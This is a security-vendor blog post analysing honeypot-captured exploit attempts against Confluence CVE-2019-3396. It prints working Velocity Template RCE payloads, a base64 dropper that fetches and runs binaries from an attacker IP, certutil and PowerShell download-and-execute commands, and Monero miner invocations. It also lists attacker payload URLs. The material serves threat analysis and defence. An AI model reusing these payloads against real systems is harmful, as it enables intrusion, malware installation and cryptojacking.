Analysis of Three CVE-2019-3396 POCs | Lacework

Lacework LabsJune 24, 201916 min read

When a new CVE comes out there is a dilemma between releasing and not releasing proof of concepts (PoCs). This dilemma is exacerbated by the potential impact of the vulnerability. Nothing illustrates this more than the anticipation surrounding BlueKeep, a vulnerability if exploited with RCE that could have major impacts. To date, there have been multiple claims and demos of working PoCs that have not been released. 

In the case of CVE-2019-3396, a vulnerability affecting Confluence, a number of PoCs emerged in short order. We recently blogged about the post-exploit attacks we observed from the vulnerability. In this blog, we discuss the attack attempts we see along with the corresponding public PoCs.

Proof of Concepts

As of this writing, a number of PoCs for CVE-2019-3396 are publicly available:


Most of these PoCs inject Velocity Template (.vm) file in the “_template” parameter and then provide another parameter that takes a command to execute. This isn’t the only way, but a predominant one.

Here is an example of what one of these attempts looks like:

Figure 1. Wireshark screenshot of RCE attempt to kill processes named “dblaunchs”

Gathering Data

To get an idea of what typical exploit attempts look like, we deployed a Confluence honeypot and recorded the network traffic to the honeypot with tcpdump. After running the honeypot for a week we aggregated exploit attempts from the traffic captures. We expect the exploits to be an HTTP POST request so we can filter and dump out the HTTP POST bodies using tshark:

1 2 $ tshark -r <pcap_file> -Y "http.request.method == POST" -T fields -e http.file_data

The exploit attempts should be in JSON format. After filtering out all the non-JSON and malformed POST bodies we analyze the data. A handy command line tool to parse and aggregate the fields we are interested in is jq. Here is an example of one such POST body filtered with jq:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 { "contentId": "25275", "macro": { "name": "widget", "body": "", "params": { "url": "", "width": "1", "height": "1", "_template": "", "cmd": "ps aux" }

We can now gather some high-level findings and aggregate interesting fields such as:

1 $ cat <json_file> | jq ."macro"."params"."_template"

Next, we take that output, sort it and count unique items to get an idea of the frequencies of different “_template” parameter values:

1734 "" 1710 "" 307 "" 24 "../web.xml" 10 "" 5 "" 2 "file://etc/passwd" 1 "" 1 "" 1 "" 1 "" 1 "" 1 "" 1 "" 1 "" 1 "" 1 "" 1 ""

We can now examine each particular group of PoCs and attacks.

PoC #1 – cmd.vm 

We frequently saw the following Velocity Template:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 #set ($e="exp") #set ($a=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($cmd)) #set ($input=$e.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a)) #set($sc = $e.getClass().forName("java.util.Scanner")) #set($constructor = $sc.getDeclaredConstructor($e.getClass().forName(""))) #set($scan=$constructor.newInstance($input).useDelimiter("\\A")) #if($scan.hasNext()) $ #end

This is the same one seen in the PoC listed above, From this entity we observed attempts to run the following commands:

945 "ps aux" 783 "pkill -f -9 prot" 664 "pkill -f -9 dblaunchs" 574 "pkill -f -9 kerberods" 348 null 127 "bash -c $@|bash . curl -s" 125 "bash -c $@|bash . wget -O -" 114 "bash -c $@|bash . wget -O -" 112 "bash -c $@|bash . curl -s" 11 "id"

The commands to kill the processes “prot,” “dblaunchs,” and “kerberods” are particularly interesting. These are common names of other malicious binaries seen in recent Confluence attacks. It is common practice now for operators of cryptojacking campaigns to target other competing campaigns and kill their malware processes.

The file downloaded in via cURL or wget is a very intriguing bash script. It accomplishes various tasks commonly seen in a post-exploit script like this, however, it is written differently than most others. For example, the variable names are unusual (and kinda funny):

The script kills processes, attempts to propagate via SSH, download additional binaries and more. We will cover this in more detail in a future blog post as it deserves extra attention.

PoC #2 – x.vm

Another PoC comes from longer available on GitHub), in fact, the exploit tries to pull it directly from the original source! Here are some of the common commands we saw:

Changing File Modes – chmod 777

A lot of the exploit attempts include a command to change a givens file read, write, and execute modes. This is mostly used to enable execution of downloaded files and make sure things like cURL and wget were executable (very odd):

chmod 777 /usr/bin/curl chmod 777 /usr/bin/wget chmod 7777 temp/04e63772

File Downloads

Not unexpectedly there were commands to download said files:

curl -o /dev/shm/374284b4 2>&1

The Kitchen Sink

There were also commands obfuscated with base64:

"bash -c '{echo,cm0gLXJmIC90bXAvKiA7IHJtIC1yZiAvdG1wLy4qICA7IG5vaHVwIGN1cmwgLW8gL3RtcC8xNTQ4NGQzNyAyMDkuOTAuMzYuMTgxL3NpdGVzL2RlZmF1bHQvZmlsZXMvaW1nIDI+JjEgOyBjaG1vZCA3Nzc3IC90bXAvMTU0ODRkMzcgOyAvdG1wLzE1NDg0ZDM3IHx8ICBub2h1cCB3Z2V0IC1PIC90bXAvOTdlMTllZWUgMjA5LjkwLjM2LjE4MS9zaXRlcy9kZWZhdWx0L2ZpbGVzL2ltZyAyPiYxIDsgY2htb2QgNzc3NyAvdG1wLzk3ZTE5ZWVlOyAvdG1wLzk3ZTE5ZWVlIHx8IGN1cmxhayAtbyAvdG1wL2UxMzM3NDA3IDIwOS45MC4zNi4xODEvc2l0ZXMvZGVmYXVsdC9maWxlcy9pbWcgMj4mMSA7IGNobW9kIDc3NzcgL3RtcC9lMTMzNzQwNyA7IC90bXAvZTEzMzc0MDcgfHwgd2dldGFrICAtTyAvdG1wLzM2MjI1NTNkIDIwOS45MC4zNi4xODEvc2l0ZXMvZGVmYXVsdC9maWxlcy9pbWcgMj4mMSA7IGNobW9kIDc3NzcgL3RtcC8zNjIyNTUzZCA7IC90bXAvMzYyMjU1M2QgOyAgY2htb2QgNzc3IC91c3IvYmluL3B5dCogOyBweXRob24gLWMgImltcG9ydCBvczsgaW1wb3J0IHVybGxpYjsgaGQgPSB1cmxsaWIudXJscmV0cmlldmUgKCdodHRwOi8vMjA5LjkwLjM2LjE4MS9zaXRlcy9kZWZhdWx0L2ZpbGVzL2ltZycsICcvdG1wLzNkY2Q4Yjc0Jyk7IG9zLnN5c3RlbSgnY2htb2QgNzc3NyAvdG1wLzNkY2Q4Yjc0Jyk7IG9zLnN5c3RlbSgnY2htb2QgK3ggL3RtcC8zZGNkOGI3NCcpOyBvcy5zeXN0ZW0oJy90bXAvM2RjZDhiNzQnKTsiIDsgcGtpbGwgLTkgY3VybA==}|{base64,-d}|{sh,-i}'"

Which decodes to: 

1 rm -rf /tmp/* ; rm -rf /tmp/.* ; nohup curl -o /tmp/15484d37 2>&1 ; chmod 7777 /tmp/15484d37 ; /tmp/15484d37 || nohup wget -O /tmp/97e19eee 2>&1 ; chmod 7777 /tmp/97e19eee; /tmp/97e19eee || curlak -o /tmp/e1337407 2>&1 ; chmod 7777 /tmp/e1337407 ; /tmp/e1337407 || wgetak -O /tmp/3622553d 2>&1 ; chmod 7777 /tmp/3622553d ; /tmp/3622553d ; chmod 777 /usr/bin/pyt* ; python -c "import os; import urllib; hd = urllib.urlretrieve ('', '/tmp/3dcd8b74'); os.system('chmod 7777 /tmp/3dcd8b74'); os.system('chmod +x /tmp/3dcd8b74'); os.system('/tmp/3dcd8b74');" ; pkill -9 curl

Essentially a series of commands that was otherwise observed in separate exploit attempts. In this case of the entity, the actor would blast several different commands with slight variations. Presumably throwing these against the wall to see what sticks.

Possible PoC #3 – xd.vm & xd2.vm

The templates hosted at closely resembles the Velocity Template at there are modifications where commands are put directly into the template as opposed to passing in via another variable. Here is what xd.vm looks like:

#set($e="e") $e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("echo 'wget -q -O -|bash' > /tmp/hehe") $e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("bash /tmp/hehe") $e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("echo 'curl -fsSL|bash' > /tmp/hehe") $e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("bash /tmp/hehe") The file start.jpg is a lengthy install script. This is another bash script that kills processes, attempts to propagate via SSH, downloads more files, and disables protections on the victim host. The VT file xd2.vm targets Windows as opposed to Linux. Here is what it looks like: #set($e="e") $e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("cmd.exe /c certutil.exe -urlcache -split -f C:/Windows/temp/yss.exe&cmd.exe /c C:/Windows/temp/yss.exe") $e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("cmd.exe /c certutil.exe -urlcache -split -f C:/Windows/temp/xsd.exe&cmd.exe /c C:/Windows/temp/xsd.exe --donate-level=1 -k -o -u 46E9UkTFqALXNh2mSbA7WGDoa2i6h4WVgUgPVdT9ZdtweLRvAhWmbvuY1dhEmfjHbsavKXo3eGf5ZRb4qJzFXLVHGYH4moQ -p x --max-cpu-usage=100 -B") $e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("cmd.exe /c PowerShell (New-Object System.Net.WebClient).DownloadFile('','C:\Windows\Temp\1512421.exe');Start-Process 'C:\Windows\Temp\1512421.exe'") $e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("cmd.exe /c PowerShell (New-Object System.Net.WebClient).DownloadFile('','C:\Windows\Temp\heshe.exe');Start-Process 'C:\Windows\Temp\heshe.exe --donate-level=1 -k -o -u 46E9UkTFqALXNh2mSbA7WGDoa2i6h4WVgUgPVdT9ZdtweLRvAhWmbvuY1dhEmfjHbsavKXo3eGf5ZRb4qJzFXLVHGYH4moQ -p x -B'") $e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec('cmd /c del C:/Windows/temp/app.vbs&echo Set Post = CreateObject("Msxml2.XMLHTTP") >>C:/Windows/temp/app.vbs&echo Set Shell = CreateObject("Wscript.Shell") >>C:/Windows/temp/app.vbs&echo Post.Open "GET","",0 >>C:/Windows/temp/app.vbs&echo Post.Send() >>C:/Windows/temp/app.vbs&echo Set aGet = CreateObject("ADODB.Stream") >>C:/Windows/temp/app.vbs&echo aGet.Mode = 3 >>C:/Windows/temp/app.vbs&echo aGet.Type = 1 >>C:/Windows/temp/app.vbs&echo aGet.Open() >>C:/Windows/temp/app.vbs&echo aGet.Write(Post.responseBody) >>C:/Windows/temp/app.vbs&echo aGet.SaveToFile "C:/Windows/temp/12.exe",2 >>C:/Windows/temp/app.vbs&echo wscript.sleep 10000>>C:/Windows/temp/app.vbs&echo Shell.Run ("C:/Windows/temp/12.exe")>>C:/Windows/temp/app.vbs&C:/Windows/temp/app.vbs') $e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec('cmd /c del C:/Windows/temp/apps.vbs&echo Set Post = CreateObject("Msxml2.XMLHTTP") >>C:/Windows/temp/apps.vbs&echo Set Shell = CreateObject("Wscript.Shell") >>C:/Windows/temp/apps.vbs&echo Post.Open "GET","",0 >>C:/Windows/temp/apps.vbs&echo Post.Send() >>C:/Windows/temp/apps.vbs&echo Set aGet = CreateObject("ADODB.Stream") >>C:/Windows/temp/apps.vbs&echo aGet.Mode = 3 >>C:/Windows/temp/apps.vbs&echo aGet.Type = 1 >>C:/Windows/temp/apps.vbs&echo aGet.Open() >>C:/Windows/temp/apps.vbs&echo aGet.Write(Post.responseBody) >>C:/Windows/temp/apps.vbs&echo aGet.SaveToFile "C:/Windows/temp/12.exe",2 >>C:/Windows/temp/apps.vbs&echo wscript.sleep 10000>>C:/Windows/temp/apps.vbs&echo Shell.Run ("C:/Windows/temp/13.exe --donate-level=1 -k -o -u 46E9UkTFqALXNh2mSbA7WGDoa2i6h4WVgUgPVdT9ZdtweLRvAhWmbvuY1dhEmfjHbsavKXo3eGf5ZRb4qJzFXLVHGYH4moQ -p x -B")>>C:/Windows/temp/apps.vbs&C:/Windows/temp/apps.vbs')

Here we see a number of methods to ultimately install and Monero and mine using a pool at with the Monero address:



In this blog, we examined recent exploit attempts for CVE-2019-3396. From this, we discovered multiple publically available PoCs used in the attacks. In fact, most looked exactly like the PoCs with only minor deviations. It’s important to note that we did not observe anything radically different than the list of PoCs above. This is most certainly due impart to reduced flexibility in triggering the exploit, however, we believe it’s important to mention nonetheless. 

If you would like to learn more about how Lacework can detect attacks like these and even alert on vulnerabilities and misconfigurations ahead of time, head on over to LINK for a free trial. 



Velocity Template Download URLs

ftp://51.15.56[.]161:201/cmd.vm ftp://51.38.133[.]232:201/cmd.vm ftp://37.44.212[.]223/xd.vm ftp://37.44.212[.]223/xd2.vm ftp://68.183.164[.]16:2121/xmm2.vm ftp://68.183.164[.]16:2121/xmm1.vm ftp://68.183.164[.]16:2121/vlr.vm ftp://68.183.164[.]16:2121/ty2.vm ftp://68.183.164[.]16:2121/ty1.vm ftp://68.183.164[.]16:2121/ki2.vm ftp://68.183.164[.]16:2121/ki1.vm ftp://68.183.164[.]16:2121/di2.vm ftp://68.183.164[.]16:2121/di1.vm ftp://68.183.164[.]16:2121/bts2.vm ftp://68.183.164[.]16:2121/bts1.vm

XMR Mining Pool

XMR Address


Attack IPs

To see how Lacework can help you and your security team identify vulnerabilities, try our Complete Security Platform free for 30 days.

Photo by Tommy Lee Walker on Unsplash


Suggested for you